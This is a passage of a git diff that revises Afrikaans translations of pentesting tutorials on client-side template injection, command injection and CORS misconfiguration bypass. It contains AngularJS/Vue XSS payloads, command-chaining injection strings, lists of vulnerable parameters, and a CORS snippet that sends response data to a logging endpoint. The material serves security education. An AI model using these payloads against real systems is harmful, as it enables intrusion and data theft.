uit te voer. +Dit is soos 'n [**Server Side Template Injection**](ssti-server-side-template-injection/) maar in die **klient**. Die **SSTI** kan jou toelaat om **kode** op die afstandsbediener uit te voer, die **CSTI** kan jou toelaat om **arbitraire JavaScript** kode in die slagoffer se blaaier uit te voer. **Toetsing** vir hierdie kwesbaarheid is baie **soortgelyk** aan die geval van **SSTI**, die interpreter verwag **'n sjabloon** en sal dit uitvoer. Byvoorbeeld, met 'n payload soos `{{ 7-7 }}`, as die app **kwesbaar** is, sal jy 'n `0` sien, en as nie, sal jy die oorspronklike sien: `{{ 7-7 }}` ## AngularJS -AngularJS is 'n wyd gebruikte JavaScript-raamwerk wat met HTML kommunikeer deur middel van eienskappe bekend as riglyne, 'n noemenswaardige een is **`ng-app`**. Hierdie riglyn laat AngularJS toe om die HTML-inhoud te verwerk, wat die uitvoering van JavaScript-uitdrukkings binne dubbele krulhakies moontlik maak. +AngularJS is 'n wyd gebruikte JavaScript-raamwerk wat met HTML kommunikeer deur middel van eienskappe bekend as direkte, 'n noemenswaardige een is **`ng-app`**. Hierdie direkte laat AngularJS toe om die HTML-inhoud te verwerk, wat die uitvoering van JavaScript-uitdrukkings binne dubbele krulhake moontlik maak. In scenario's waar gebruikersinvoer dinamies in die HTML-lichaam ingevoeg word wat met `ng-app` gemerk is, is dit moontlik om arbitraire JavaScript-kode uit te voer. Dit kan bereik word deur die sintaksis van AngularJS binne die invoer te benut. Hieronder is voorbeelde wat demonstreer hoe JavaScript-kode uitgevoer kan word: ```javascript @@ -43,7 +43,7 @@ En die **bronkode** van die kwesbare voorbeeld hier: [https://github.com/azu/vue ``` {{_openBlock.constructor('alert(1)')()}} ``` -Krediet: [Gareth Heyes, Lewis Ardern & PwnFunction](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets) +Credit: [Gareth Heyes, Lewis Ardern & PwnFunction](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets) ### **V2** ``` @@ -71,7 +71,7 @@ javascript:alert(1)%252f%252f..%252fcss-images ``` **Meer payloads in** [**https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations**](https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations) -## **Brute-Force Opsporing Lys** +## **Brute-Force Opsporingslys** {% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %} diff --git a/src/pentesting-web/command-injection.md b/src/pentesting-web/command-injection.md index 70a92e203..93e9f2b14 100644 --- a/src/pentesting-web/command-injection.md +++ b/src/pentesting-web/command-injection.md @@ -3,15 +3,15 @@ {{#include ../banners/hacktricks-training.md}} -## Wat is opdraginjekting? +## Wat is opdraginjektering? -'n **opdraginjekting** laat die uitvoering van arbitrêre bedryfstelsels opdragte deur 'n aanvaller op die bediener wat 'n toepassing huisves. As gevolg hiervan kan die toepassing en al sy data volledig gecompromitteer word. Die uitvoering van hierdie opdragte stel die aanvaller gewoonlik in staat om ongeoorloofde toegang of beheer oor die toepassing se omgewing en onderliggende stelsel te verkry. +'n **opdraginjektering** stel 'n aanvaller in staat om arbitrêre bedryfstelselsopdragte op die bediener wat 'n toepassing huisves, uit te voer. As gevolg hiervan kan die toepassing en al sy data volledig gecompromitteer word. Die uitvoering van hierdie opdragte stel die aanvaller gewoonlik in staat om ongeoorloofde toegang of beheer oor die toepassing se omgewing en onderliggende stelsel te verkry. ### Konteks -Afhangende van **waar jou invoer ingesluit word**, mag jy die **geciteerde konteks beëindig** (met `"` of `'`) voordat die opdragte. +Afhangende van **waar jou invoer ingesluit word**, mag jy nodig hê om die **gekwoteerde konteks te beëindig** (met `"` of `'`) voor die opdragte. -## Opdraginjekting/Uitvoering +## Opdraginjektering/Uitvoering ```bash #Both Unix and Windows supported ls||id; ls ||id; ls|| id; ls || id # Execute both @@ -74,7 +74,7 @@ Hier is die top 25 parameters wat kwesbaar kan wees vir kode-inspuiting en soort ?run={payload} ?print={payload} ``` -### Tydgebaseerde data-uitvoer +### Tydgebaseerde data-uitkapping Data onttrek: karakter vir karakter ``` diff --git a/src/pentesting-web/cors-bypass.md b/src/pentesting-web/cors-bypass.md index c85b30024..fc9fdcec6 100644 --- a/src/pentesting-web/cors-bypass.md +++ b/src/pentesting-web/cors-bypass.md @@ -7,7 +7,7 @@ Cross-Origin Resource Sharing (CORS) standaard **stel bedieners in staat om te definieer wie toegang tot hul bates kan hê** en **watter HTTP-versoekmetodes toegelaat word** van eksterne bronne. -'n **selfde-oorsprong** beleid vereis dat 'n **bediener wat** 'n hulpbron versoek en die bediener wat die **hulpbron** aanbied dieselfde protokol (bv. `http://`), domeinnaam (bv. `internal-web.com`), en **poort** (bv. 80) deel. Onder hierdie beleid is slegs webbladsye van dieselfde domein en poort toegelaat om toegang tot die hulpbronne te hê. +'n **selfde-oorsprong** beleid vereis dat 'n **bediener wat** 'n hulpbron versoek en die bediener wat die **hulpbron** aanbied dieselfde protokol (bv., `http://`), domeinnaam (bv., `internal-web.com`), en **poort** (bv., 80) deel. Onder hierdie beleid is slegs webbladsye van dieselfde domein en poort toegelaat om toegang tot die hulpbronne te hê. Die toepassing van die selfde-oorsprong beleid in die konteks van `http://normal-website.com/example/example.html` word soos volg geïllustreer: @@ -26,7 +26,7 @@ Die toepassing van die selfde-oorsprong beleid in die konteks van `http://normal Hierdie header kan **meervoudige oorspronge**, 'n **`null`** waarde, of 'n wildcard **`*`** toelaat. Tog, **geen blaaiers ondersteun meervoudige oorspronge**, en die gebruik van die wildcard `*` is onderhewig aan **beperkings**. (Die wildcard moet alleen gebruik word, en die gebruik daarvan saam met `Access-Control-Allow-Credentials: true` is nie toegelaat nie.) -Hierdie header word **uitgereik deur 'n bediener** in reaksie op 'n kruis-domein hulpbron versoek wat deur 'n webwerf geïnisieer is, met die blaaiers wat outomaties 'n `Origin` header byvoeg. +Hierdie header word **uitgereik deur 'n bediener** in reaksie op 'n kruis-domein hulpbron versoek wat deur 'n webwerf geïnisieer is, met die blaaier wat outomaties 'n `Origin` header byvoeg. ### `Access-Control-Allow-Credentials` Header @@ -63,11 +63,11 @@ xhr.send("Arun") ### Verstaan van Pre-flight Aansoeke in Kruis-Domein Kommunikasie -Wanneer 'n kruis-domein aansoek onder spesifieke omstandighede geïnisieer word, soos om 'n **nie-standaard HTTP-metode** (enige iets anders as HEAD, GET, POST) te gebruik, nuwe **koppe** in te voer, of 'n spesiale **Content-Type kopwaarde** te gebruik, kan 'n pre-flight aansoek vereis word. Hierdie voorlopige aansoek, wat die **`OPTIONS`** metode benut, dien om die bediener in kennis te stel van die komende kruis-oorsprong aansoek se bedoelings, insluitend die HTTP-metodes en koppe wat dit van plan is om te gebruik. +Wanneer 'n kruis-domein aansoek onder spesifieke toestande geïnisieer word, soos om 'n **nie-standaard HTTP metode** (enige iets anders as HEAD, GET, POST) te gebruik, nuwe **koppe** in te voer, of 'n spesiale **Content-Type kop waarde** te gebruik, kan 'n pre-flight aansoek vereis word. Hierdie voorlopige aansoek, wat die **`OPTIONS`** metode benut, dien om die bediener in kennis te stel van die komende kruis-oorsprong aansoek se bedoelings, insluitend die HTTP metodes en koppe wat dit van plan is om te gebruik. -Die **Cross-Origin Resource Sharing (CORS)** protokol vereis hierdie pre-flight kontrole om die haalbaarheid van die aangevraagde kruis-oorsprong operasie te bepaal deur die toegelate metodes, koppe, en die betroubaarheid van die oorsprong te verifieer. Vir 'n gedetailleerde begrip van watter omstandighede die behoefte aan 'n pre-flight aansoek omseil, verwys na die omvattende gids wat deur [**Mozilla Developer Network (MDN)**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests) verskaf word. +Die **Cross-Origin Resource Sharing (CORS)** protokol vereis hierdie pre-flight kontrole om die haalbaarheid van die aangevraagde kruis-oorsprong operasie te bepaal deur die toegelate metodes, koppe, en die betroubaarheid van die oorsprong te verifieer. Vir 'n gedetailleerde begrip van watter toestande die behoefte aan 'n pre-flight aansoek omseil, verwys na die omvattende gids wat deur [**Mozilla Developer Network (MDN)**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests) verskaf word. -Dit is belangrik om op te let dat die **afwesigheid van 'n pre-flight aansoek nie die vereiste vir die respons om magtigingskoppe te dra, ontken nie**. Sonder hierdie koppe is die blaaier onbevoeg om die respons van die kruis-oorsprong aansoek te verwerk. +Dit is belangrik om op te let dat die **afwesigheid van 'n pre-flight aansoek nie die vereiste vir die respons om magtigingskoppe te dra, ontken nie**. Sonder hierdie koppe is die blaaiers nie in staat om die respons van die kruis-oorsprong aansoek te verwerk nie. Oorweeg die volgende illustrasie van 'n pre-flight aansoek wat daarop gemik is om die `PUT` metode saam met 'n pasgemaakte kop genaamd `Special-Request-Header` te gebruik: ``` @@ -115,22 +115,22 @@ Content-Length: 0 ... ``` > [!WARNING] -> Let daarop dat die linux **0.0.0.0** IP werk om **te omseil** hierdie vereistes om toegang tot localhost te verkry, aangesien daardie IP-adres nie as "lokale" beskou word nie. +> Let daarop dat die linux **0.0.0.0** IP werk om hierdie vereistes te **omseil** om toegang tot localhost te verkry, aangesien daardie IP-adres nie as "lokale" beskou word nie. > > Dit is ook moontlik om die **vereistes van die Plaaslike Netwerk te omseil** as jy die **publieke IP-adres van 'n plaaslike eindpunt** (soos die publieke IP van die router) gebruik. Want in verskeie gevalle, selfs al word die **publieke IP** aangespreek, as dit **van die plaaslike netwerk** is, sal toegang toegestaan word. ### Wildcards -Let daarop dat selfs al lyk die volgende konfigurasie baie toelaatbaar: +Let daarop dat selfs al lyk die volgende konfigurasie baie permissief: ```bash Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true ``` -Dit word nie toegelaat deur blaaiers nie en daarom sal geloofsbriewe nie saam met die versoek gestuur word nie. +Dit word nie deur blaaiers toegelaat nie en daarom sal geloofsbriewe nie saam met die versoek gestuur word nie. ## Eksploiteerbare miskonfigurasies -Daar is waargeneem dat die instelling van `Access-Control-Allow-Credentials` na **`true`** 'n voorvereiste is vir die meeste **werklike aanvalle**. Hierdie instelling laat die blaier toe om geloofsbriewe te stuur en die antwoord te lees, wat die doeltreffendheid van die aanval verbeter. Sonder dit, verminder die voordeel om 'n blaier 'n versoek te laat doen in vergelyking met om dit self te doen, aangesien dit onmoontlik word om 'n gebruiker se koekies te benut. +Daar is waargeneem dat die instelling van `Access-Control-Allow-Credentials` na **`true`** 'n voorvereiste is vir die meeste **werklike aanvalle**. Hierdie instelling laat die blaier toe om geloofsbriewe te stuur en die antwoord te lees, wat die aanval se doeltreffendheid verbeter. Sonder dit, verminder die voordeel om 'n blaier 'n versoek te laat doen in vergelyking met om dit self te doen, aangesien dit onmoontlik word om 'n gebruiker se koekies te benut. ### Uitsondering: Eksploitering van Netwerkligging as Verifikasie @@ -153,7 +153,7 @@ location = "/log?key=" + this.responseText ``` ### Exploiting the `null` Origin -Die `null` oorsprong, gespesifiseer vir situasies soos omleidings of plaaslike HTML-lêers, het 'n unieke posisie. Sommige toepassings voeg hierdie oorsprong by die witlys om plaaslike ontwikkeling te vergemaklik, wat onbedoeld enige webwerf toelaat om 'n `null` oorsprong na te boots deur 'n sandboxed iframe, en so CORS-beperkings te omseil. +Die `null` oorsprong, gespesifiseer vir situasies soos omleidings of plaaslike HTML-lêers, het 'n unieke posisie. Sommige toepassings voeg hierdie oorsprong by die witlys om plaaslike ontwikkeling te fasiliteer, wat onbedoeld enige webwerf toelaat om 'n `null` oorsprong na te boots deur 'n sandboxed iframe, en so CORS-beperkings te omseil. ```html